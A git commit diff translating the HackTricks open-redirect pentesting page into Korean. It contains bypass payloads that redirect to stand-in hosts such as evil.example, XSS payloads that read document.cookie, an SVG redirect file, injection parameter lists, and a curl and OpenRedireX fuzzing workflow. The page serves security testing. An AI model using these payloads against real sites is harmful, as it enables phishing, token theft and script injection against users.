mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/open-redirect.md'] to ko
This commit is contained in:
parent
6ae94cf795
commit
7518eb29ef
@ -5,14 +5,25 @@
|
||||
|
||||
## Open redirect
|
||||
|
||||
### localhost 또는 임의의 도메인으로 리디렉션
|
||||
### Redirect to localhost or arbitrary domains
|
||||
|
||||
- If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target:
|
||||
- IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (십진수), 0x7f000001 (16진수), 017700000001 (8진수)
|
||||
- IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
|
||||
- Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
|
||||
- Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1.
|
||||
- Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
|
||||
- //attacker.tld → 스킴-상대로 해석되어 현재 스킴으로 사이트 외부로 이동합니다.
|
||||
- Userinfo tricks defeat contains/startswith checks against trusted hosts:
|
||||
- https://trusted.tld@attacker.tld/ → 브라우저는 attacker.tld로 이동하지만 단순 문자열 검사에서는 trusted.tld를 “본다”.
|
||||
- Backslash parsing confusion between frameworks/browsers:
|
||||
- https://trusted.tld\@attacker.tld → 일부 백엔드는 “\”을 경로 문자로 취급해 검증을 통과시키는 반면, 브라우저는 이를 “/”로 정규화하고 trusted.tld를 userinfo로 해석해 사용자를 attacker.tld로 보냅니다. 이 문제는 Node/PHP URL-parser 불일치에서도 발생합니다.
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS로의 Open Redirect
|
||||
### 최신 open-redirect를 이용한 XSS 피벗
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
@ -58,7 +69,36 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect svg 파일 업로드
|
||||
<details>
|
||||
<summary>더 최신의 URL 기반 우회 페이로드</summary>
|
||||
```text
|
||||
# Scheme-relative (current scheme is reused)
|
||||
//evil.example
|
||||
|
||||
# Credentials (userinfo) trick
|
||||
https://trusted.example@evil.example/
|
||||
|
||||
# Backslash confusion (server validates, browser normalizes)
|
||||
https://trusted.example\@evil.example/
|
||||
|
||||
# Schemeless with whitespace/control chars
|
||||
evil.example%00
|
||||
%09//evil.example
|
||||
|
||||
# Prefix/suffix matching flaws
|
||||
https://trusted.example.evil.example/
|
||||
https://evil.example/trusted.example
|
||||
|
||||
# When only path is accepted, try breaking absolute URL detection
|
||||
/\\evil.example
|
||||
/..//evil.example
|
||||
```
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
## Open Redirect uploading svg files
|
||||
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
@ -68,7 +108,9 @@ xmlns="http://www.w3.org/2000/svg">
|
||||
</svg>
|
||||
</code>
|
||||
```
|
||||
## 일반적인 주입 매개변수
|
||||
|
||||
## Common injection parameters
|
||||
|
||||
```
|
||||
/{payload}
|
||||
?next={payload}
|
||||
@ -143,17 +185,23 @@ RedirectUrl=https://c1h2e1.github.io
|
||||
Redirect=https://c1h2e1.github.io
|
||||
ReturnUrl=https://c1h2e1.github.io
|
||||
```
|
||||
## 코드 예제
|
||||
|
||||
## Code examples
|
||||
|
||||
#### .Net
|
||||
|
||||
```bash
|
||||
response.redirect("~/mysafe-subdomain/login.aspx")
|
||||
```
|
||||
#### 자바
|
||||
|
||||
#### Java
|
||||
|
||||
```bash
|
||||
response.redirect("http://mysafedomain.com");
|
||||
```
|
||||
|
||||
#### PHP
|
||||
|
||||
```php
|
||||
<?php
|
||||
/* browser redirections*/
|
||||
@ -161,16 +209,75 @@ header("Location: http://mysafedomain.com");
|
||||
exit;
|
||||
?>
|
||||
```
|
||||
|
||||
## Hunting and exploitation workflow (practical)
|
||||
|
||||
- Single URL check with curl:
|
||||
|
||||
```bash
|
||||
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
|
||||
```
|
||||
|
||||
- Discover and fuzz likely parameters at scale:
|
||||
|
||||
<details>
|
||||
<summary>Click to expand</summary>
|
||||
|
||||
```bash
|
||||
# 1) 히스토리 URL을 수집하고 공통 redirect 파라미터가 있는 항목을 유지
|
||||
cat domains.txt \
|
||||
| gau --o urls.txt # or: waybackurls / katana / hakrawler
|
||||
|
||||
# 2) Grep으로 공통 파라미터 검색하고 리스트 정규화
|
||||
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
|
||||
| sed 's/\r$//' | sort -u > candidates.txt
|
||||
|
||||
# 3) OpenRedireX로 payload 코퍼스로 fuzz 수행
|
||||
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
|
||||
|
||||
# 4) 흥미로운 히트 수동 검증
|
||||
awk '/30[1237]|Location:/I' results.txt
|
||||
```
|
||||
```
|
||||
</details>
|
||||
|
||||
- SPAs의 클라이언트 측 sink를 잊지 마세요: window.location/assign/replace와 query/hash를 읽고 redirect하는 프레임워크 헬퍼를 찾아보세요.
|
||||
|
||||
- 프레임워크는 종종 redirect 목적지가 신뢰할 수 없는 입력(query params, Referer, cookies)에서 유래할 때 보안 문제를 야기합니다. Next.js의 redirect 관련 노트를 참고하고 사용자 입력에서 유래하는 동적 목적지는 피하세요.
|
||||
|
||||
{{#ref}}
|
||||
../network-services-pentesting/pentesting-web/nextjs.md
|
||||
{{#endref}}
|
||||
|
||||
- OAuth/OIDC 플로우: open redirectors를 악용하면 authorization codes/tokens이 leaking되어 계정 탈취로 이어지는 경우가 많습니다. 전용 가이드를 참고하세요:
|
||||
|
||||
{{#ref}}
|
||||
./oauth-to-account-takeover.md
|
||||
{{#endref}}
|
||||
|
||||
- Location 헤더 없이 redirect를 구현하는 서버 응답(meta refresh/JavaScript)은 여전히 phishing에 활용될 수 있으며, 때로는 체이닝이 가능합니다. Grep for:
|
||||
```html
|
||||
<meta http-equiv="refresh" content="0;url=//evil.example">
|
||||
<script>location = new URLSearchParams(location.search).get('next')</script>
|
||||
```
|
||||
## 도구
|
||||
|
||||
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
|
||||
- OpenRedireX – open redirects를 탐지하는 fuzzer. 예:
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
|
||||
|
||||
## 자료
|
||||
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
|
||||
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)에서 퍼징 목록을 찾을 수 있습니다.
|
||||
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect 에서 fuzzing lists를 찾을 수 있습니다.
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
|
||||
- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user